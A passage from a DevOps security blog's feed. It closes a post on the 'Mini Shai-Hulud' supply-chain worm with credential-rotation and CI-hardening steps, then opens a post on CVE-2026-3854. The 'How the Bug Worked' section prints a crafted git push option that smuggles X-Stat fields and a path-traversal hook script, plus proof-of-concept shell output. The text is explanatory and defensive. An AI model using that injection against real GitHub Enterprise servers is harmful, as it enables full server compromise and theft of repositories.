          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-credentials-in-this-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ol>
<li><strong>GitHub tokens for any account whose runner installed the bad versions.</strong> Personal access tokens, fine-grained PATs, GitHub App private keys, deploy keys. Revoke and reissue. While you are there, rotate any GitHub Actions workflow secrets stored in repos those tokens could read.</li>
<li><strong>npm tokens.</strong> Revoke from <code>npmjs.com → Access Tokens</code>, regenerate scoped tokens, push them to your CI as new secrets, and then delete the old ones. Do not leave overlap.</li>
<li><strong>AWS / GCP / Azure</strong> credentials that were on the runner. For AWS, that means rotating the IAM access keys and, if it was an EC2 runner, considering the instance role compromised: terminate and rebuild rather than rotate.</li>
<li><strong>Kubeconfigs and in-cluster tokens.</strong> Rotate ServiceAccount tokens for any cluster the runner could talk to. <code>kubectl rollout restart deployment</code> does not help here; you need to rotate the actual tokens.</li>
<li><strong>Vault.</strong> Revoke the AppRole or token the runner used. Rotate.</li>
<li><strong>Docker registry credentials.</strong> Rotate registry passwords for any registry the runner authenticated to. Push a new <code>~/.docker/config.json</code> to your runners.</li>
<li><strong>SSH keys.</strong> Rotate any keys that lived on the runner, including known_hosts hostkey signers.</li>
<li><strong>Every <code>.env</code> file the runner could read.</strong> Treat any secret in those files as exposed. This is usually the longest list, and the most likely place for the secret your team forgot existed.</li>
</ol>
<h3 id="h3-3-audit-your-published-packages" class="group relative scroll-mt-24">
        <a href="#h3-3-audit-your-published-packages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Audit your published packages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-audit-your-published-packages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your team publishes to npm or Packagist using credentials that were on a poisoned runner, the worm may have already used those tokens. Check the recent versions of every package your team owns:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># For each package you own</span>
npm view your-package versions --json | jq <span class="hljs-string">&#x27;.[-5:]&#x27;</span>

<span class="hljs-comment"># Inspect each tarball for an unexpected preinstall script</span>
npm pack your-package@latest
tar -tzf your-package-*.tgz | grep -E <span class="hljs-string">&#x27;preinstall|setup-.*\.sh|_runtime&#x27;</span>
<span class="hljs-built_in">cat</span> your-package-*/package.json | jq <span class="hljs-string">&#x27;.scripts&#x27;</span>
</code></pre><p>If a recent patch version has a <code>preinstall</code> hook your team did not add, deprecate the version, publish a clean follow-up, and post an advisory. Composer plugin events deserve the same scrutiny on Packagist.</p>
<h3 id="h3-4-lock-down-install-scripts-going-forward" class="group relative scroll-mt-24">
        <a href="#h3-4-lock-down-install-scripts-going-forward" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Lock down install scripts going forward
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-lock-down-install-scripts-going-forward"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This attack is the third major one in eight months that abuses install-time hooks. The lesson is the same as the last two: do not run install hooks on your CI by default.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># npm: refuse all install scripts, opt in per-package</span>
npm config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>

<span class="hljs-comment"># pnpm: same</span>
pnpm config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>

<span class="hljs-comment"># yarn classic</span>
yarn config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>
</code></pre><p>For Composer, audit which plugins are allowed:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;config&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;allow-plugins&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;specific/plugin-you-trust&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>For Python, scope CI installs to a hash-pinned <code>requirements.txt</code> and pass <code>--require-hashes</code>. That makes a swapped-out version on the registry useless because the hash will not match.</p>
<h3 id="h3-5-egress-allowlist-your-runners" class="group relative scroll-mt-24">
        <a href="#h3-5-egress-allowlist-your-runners" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Egress allowlist your runners
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-egress-allowlist-your-runners"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The only mitigation that catches the <em>next</em> one of these without you knowing the bad version is egress filtering. CI runners need network access to:</p>
<ul>
<li>Your VCS host (GitHub, GitLab, Bitbucket)</li>
<li>The package registries you actually pull from (npmjs.com, pypi.org, packagist.org)</li>
<li>Your container registry</li>
<li>Your cloud provider APIs</li>
</ul>
<p>Anything else, including arbitrary cloud-bucket downloads or random Bun-runtime mirrors, should be denied at the network level. That blocks the first hop of the exfil even if a poisoned package made it past every other control.</p>
<h2 id="h2-why-this-keeps-happening" class="group relative scroll-mt-24">
        <a href="#h2-why-this-keeps-happening" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Keeps Happening
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-keeps-happening"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the third major install-hook supply chain attack in eight months. They keep working because:</p>
<ul>
<li><strong>Install hooks run before review.</strong> No amount of code review on a PR catches a <code>preinstall</code> script in a transitive dependency. The hook fires before any of your team has eyes on the new version.</li>
<li><strong>Lockfiles catch versions, not behavior.</strong> A pinned version is great until the upstream owner gets compromised and pushes a bad version under a new pin. Hash pins (PyPI&#39;s <code>--require-hashes</code>, npm&#39;s <code>npm install --ignore-scripts</code>, etc.) close that gap, and almost no team uses them.</li>
<li><strong>CI runners hold every secret your team has.</strong> They have to. That is the job. Which means a 30-second compromise of a CI runner is a months-long game of credential-tracing for the defenders.</li>
<li><strong>The blast radius is set by your trust graph, not the malicious package.</strong> Lightning has 10 million downloads a month. Anything that depends on Lightning is exposed. The number of orgs running ML pipelines that pull Lightning transitively is hard to overstate.</li>
</ul>
<p>The structural fix is some combination of sandboxed CI runners, hash-pinned dependencies, ignore-scripts by default, egress allowlists, and short-lived OIDC-issued credentials instead of long-lived tokens. You will not get all of those overnight. Pick one and ship it this sprint.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Pin off <code>lightning==2.6.2</code> and <code>lightning==2.6.3</code>.</strong> Same for <code>intercom-client@7.0.4</code> and <code>intercom/intercom-php@5.0.2</code>. Pin to the last known-good versions: 2.6.1, 7.0.3, 5.0.1.</li>
<li><strong>Hunt for the IoC.</strong> Search every GitHub org you control for repos described as &quot;A Mini Shai-Hulud has Appeared.&quot; Search SIEM logs for connections to <code>masscan.cloud</code>.</li>
<li><strong>Rotate everything in scope.</strong> GitHub, npm, cloud creds, kubeconfigs, Vault tokens, registry creds, SSH keys, every <code>.env</code> on the runner.</li>
<li><strong>Set <code>ignore-scripts true</code></strong> on your CI for npm and pnpm. Audit Composer&#39;s <code>allow-plugins</code> list. Use hash-pinned requirements for Python.</li>
<li><strong>Egress allowlist your runners.</strong> It is the only mitigation that catches the next one without you knowing the bad version.</li>
<li><strong>Audit your own published packages.</strong> If the worm got a token your team owned, your packages may already be downstream nodes.</li>
</ol>
<p>Mini Shai-Hulud is going to keep showing up under different names. The packages will change. The hooks and the credential exfil paths will not.</p>
<p><em>Sources: <a href="https://thehackernews.com/2026/04/pytorch-lightning-compromised-in-pypi.html">The Hacker News</a>, <a href="https://semgrep.dev/blog/2026/malicious-dependency-in-pytorch-lightning-used-for-ai-training/">Semgrep</a>, <a href="https://socket.dev/blog/lightning-pypi-package-compromised">Socket.dev</a>, <a href="https://www.kodemsecurity.com/resources/mini-shai-hulud-strikes-pytorch-lightning-and-intercom-client-inside-the-cross-ecosystem-supply-chain-attack">Kodem Security</a>, <a href="https://www.ox.security/blog/lightning-python-package-shai-hulud-supply-chain-attack/">OX Security</a>, <a href="https://www.aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud">Aikido</a>, <a href="https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/">GitGuardian</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CVE-2026-3854: A Single git push Owned GitHub]]></title>
      <link>https://devops.anhp.site/posts/github-cve-2026-3854-git-push-rce</link>
      <description><![CDATA[A semicolon in a git push option let any authenticated user run code on GitHub.com's backend and on 88% of self-hosted GitHub Enterprise installs. Here is how the bug worked and what to do.]]></description>
      <pubDate>Mon, 04 May 2026 13:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/github-cve-2026-3854-git-push-rce</guid>
      <category><![CDATA[Security]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[github]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[cve]]></category><category><![CDATA[supply-chain]]></category>
      <content:encoded><![CDATA[<p>If you run GitHub Enterprise Server, the answer to &quot;are we exposed?&quot; is almost certainly yes. CVE-2026-3854 is a remote code execution bug in GitHub&#39;s git push pipeline that let any authenticated user with push access to a single repository pop a shell on the server. On GitHub.com, the same bug crossed tenant boundaries and exposed millions of repositories on the shared storage nodes. Researchers at Wiz reported it on March 4, 2026. The full technical write-up landed publicly on April 28, 2026, and Help Net Security followed up on April 29 with the headline that 88% of self-hosted GHES instances reachable on the internet were unpatched.</p>
<p>The exploit is one git command. No CVE-of-the-week phishing kit, no exotic protocol abuse. Just a push option containing a semicolon.</p>
<p>Here is what happened, why the bug existed in the first place, and what to do about it on Monday morning.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>CVE</td>
<td>CVE-2026-3854</td>
</tr>
<tr>
<td>Class</td>
<td>Remote code execution via header injection</td>
</tr>
<tr>
<td>CVSS</td>
<td>8.7</td>
</tr>
<tr>
<td>Affected</td>
<td>GitHub.com (already patched), GitHub Enterprise Server &lt;= 3.19.3</td>
</tr>
<tr>
<td>Reported</td>
<td>March 4, 2026 by Wiz</td>
</tr>
<tr>
<td>Fixed on github.com</td>
<td>March 4, 2026 (within 75 minutes)</td>
</tr>
<tr>
<td>Public disclosure</td>
<td>April 28, 2026</td>
</tr>
<tr>
<td>Required access</td>
<td>Any authenticated user with push access to one repo</td>
</tr>
<tr>
<td>Impact (GHES)</td>
<td>Full server compromise, all hosted repositories, internal secrets</td>
</tr>
<tr>
<td>Impact (github.com)</td>
<td>Cross-tenant read access on shared storage nodes</td>
</tr>
<tr>
<td>Patched GHES versions</td>
<td>3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, 3.19.4, 3.20.0</td>
</tr>
<tr>
<td>What you do</td>
<td>Upgrade GHES today, grep audit logs for <code>;</code> in push options, review the babeld changelog</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>GitHub&#39;s push pipeline has four moving parts:</p>
<ol>
<li><strong>babeld</strong>, a git proxy that takes the user&#39;s SSH connection and forwards it inward.</li>
<li><strong>gitauth</strong>, the service that validates credentials and answers with security metadata (size limits, branch rules, hook config).</li>
<li><strong>gitrpcd</strong>, the internal RPC server that prepares the environment for downstream binaries.</li>
<li>The <strong>pre-receive hook</strong>, a compiled Go binary that enforces policy before the push is accepted.</li>
</ol>
<p>These services talk to each other using a header called <code>X-Stat</code>. It carries security-critical fields as semicolon-delimited <code>key=value</code> pairs. The format uses last-write-wins semantics: if a key appears twice, the second value wins.</p>
<p>That last sentence is the whole bug.</p>
<p>When you run <code>git push -o foo=bar origin main</code>, the value <code>foo=bar</code> is a push option. babeld embeds those user-supplied options into the <code>X-Stat</code> header as <code>push_option_0</code>, <code>push_option_1</code>, and so on. It did not strip semicolons. So if you pushed with a push option that contained one, you could break out of your own field and write a new field that downstream services treated as trusted internal metadata.</p>
<p>Wiz researchers chained three injected <code>X-Stat</code> fields into a clean RCE. Then they noticed an additional field that flipped the same exploit from &quot;GHES on prem&quot; into &quot;we can read other people&#39;s repositories on github.com.&quot; GitHub deployed a github.com fix in 75 minutes and shipped GHES patches the same day, but the disclosure window meant a lot of self-hosted instances spent two months running unpatched code.</p>
<h2 id="h2-how-the-bug-worked" class="group relative scroll-mt-24">
        <a href="#h2-how-the-bug-worked" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Bug Worked
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-bug-worked"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-x-stat-header" class="group relative scroll-mt-24">
        <a href="#h3-the-x-stat-header" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The X-Stat header
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-x-stat-header"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>X-Stat</code> looks something like this on the wire:</p>
<pre><code class="hljs language-text">X-Stat: rails_env=production;custom_hooks_dir=/data/hooks;repo_pre_receive_hooks=[]; push_option_0=foo=bar
</code></pre><p>Each field controls something the downstream services rely on. <code>rails_env</code> decides whether the pre-receive binary runs hooks inside a sandbox. <code>custom_hooks_dir</code> is the base directory hooks are loaded from. <code>repo_pre_receive_hooks</code> is a JSON array of hook scripts to execute. All three are normally set by gitauth based on the authenticated repo and its policies. babeld is supposed to add only the fields the user is allowed to influence (the push options), then forward the header to gitrpcd.</p>
<p>The problem: babeld copied user-supplied push option values verbatim into the header without escaping the field delimiter.</p>
<h3 id="h3-the-injection" class="group relative scroll-mt-24">
        <a href="#h3-the-injection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The injection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-injection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Imagine you push with a crafted option:</p>
<pre><code class="hljs language-bash">git push -o <span class="hljs-string">&#x27;x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[{&quot;script&quot;:&quot;../../../tmp/payload.sh&quot;}]&#x27;</span> origin main
</code></pre><p>babeld serializes that into <code>X-Stat</code> as a single field:</p>
<pre><code class="hljs language-text">push_option_0=x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[...]
</code></pre><p>The downstream parser splits on the semicolon. It sees five fields, not one. Because of last-write-wins, the attacker&#39;s <code>rails_env</code>, <code>custom_hooks_dir</code>, and <code>repo_pre_receive_hooks</code> override whatever gitauth set.</p>
<h3 id="h3-the-rce-chain" class="group relative scroll-mt-24">
        <a href="#h3-the-rce-chain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The RCE chain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-rce-chain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Three overrides combine to give code execution.</p>
<p><strong><code>rails_env</code></strong> controls the pre-receive binary&#39;s two execution paths. With <code>rails_env=production</code>, hooks run inside a sandbox. With anything else, they run directly as the <code>git</code> service user, no sandbox, no isolation.</p>
<p><strong><code>custom_hooks_dir</code></strong> points at the directory the binary loads hook scripts from. Set it to a directory the attacker can write to. Repository content uploaded as part of the push lives somewhere on disk; pick a directory under that root.</p>
<p><strong><code>repo_pre_receive_hooks</code></strong> is a JSON array of hook definitions. Each entry has a <code>script</code> field. Path traversal in <code>script</code> resolves the final path against <code>custom_hooks_dir</code> plus the traversal, which lets the attacker land it on any binary they have already managed to write into the repo.</p>
<p>The pre-receive binary then executes that path, no arguments, no sandbox, as <code>git</code>.</p>
<p>The end-to-end output from the Wiz proof of concept looked like this:</p>
<pre><code class="hljs language-text">$ git push -o &#x27;&lt;injected fields&gt;&#x27; origin master
remote: uid=500(git) gid=500(git) groups=500(git)
</code></pre><p>That is shell on a GitHub backend.</p>
<h3 id="h3-the-githubcom-twist" class="group relative scroll-mt-24">
        <a href="#h3-the-githubcom-twist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The github.com twist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-githubcom-twist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On GHES, the <code>git</code> user has filesystem access to all repositories hosted on the appliance. Game over for that customer. On github.com, an extra injectable field, <code>enterprise_mode</code>, decides which storage backend the pre-receive binary connects to. By forcing it to a specific value, the exploit landed shell on a shared storage node where the <code>git</code> user could read every repository hosted on that node. Wiz confirmed the cross-tenant access using their own accounts and reported it before testing further.</p>
<p>In other words, the same bug that compromised a single GHES appliance also crossed a multi-tenant boundary on github.com. That is unusual, and it is why the CVSS is high despite the &quot;authenticated user with push access&quot; precondition: on github.com, anyone who can register an account and push to a repo they created has push access.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-githubcom" class="group relative scroll-mt-24">
        <a href="#h3-githubcom" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          github.com
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-githubcom"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You were exposed for some window before March 4, 2026. GitHub&#39;s forensic review concluded there was no exploitation outside the researchers&#39; own testing. No action required from your side.</p>
<h3 id="h3-github-enterprise-server" class="group relative scroll-mt-24">
        <a href="#h3-github-enterprise-server" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitHub Enterprise Server
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-enterprise-server"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Check your version:</p>
<pre><code class="hljs language-bash">ssh admin@your-ghes-host -- <span class="hljs-string">&#x27;ghe-version&#x27;</span>
</code></pre><p>If you are not on one of the patched releases below, treat the appliance as actively exploitable. Any authenticated user (including a user with access to one repo) can run code on it.</p>
<table>
<thead>
<tr>
<th>GHES branch</th>
<th>First patched release</th>
</tr>
</thead>
<tbody><tr>
<td>3.14.x</td>
<td>3.14.25</td>
</tr>
<tr>
<td>3.15.x</td>
<td>3.15.20</td>
</tr>
<tr>
<td>3.16.x</td>
<td>3.16.16</td>
</tr>
<tr>
<td>3.17.x</td>
<td>3.17.13</td>
</tr>
<tr>
<td>3.18.x</td>
<td>3.18.7</td>
</tr>
<tr>
<td>3.19.x</td>
<td>3.19.4</td>
</tr>
<tr>
<td>3.20.x</td>
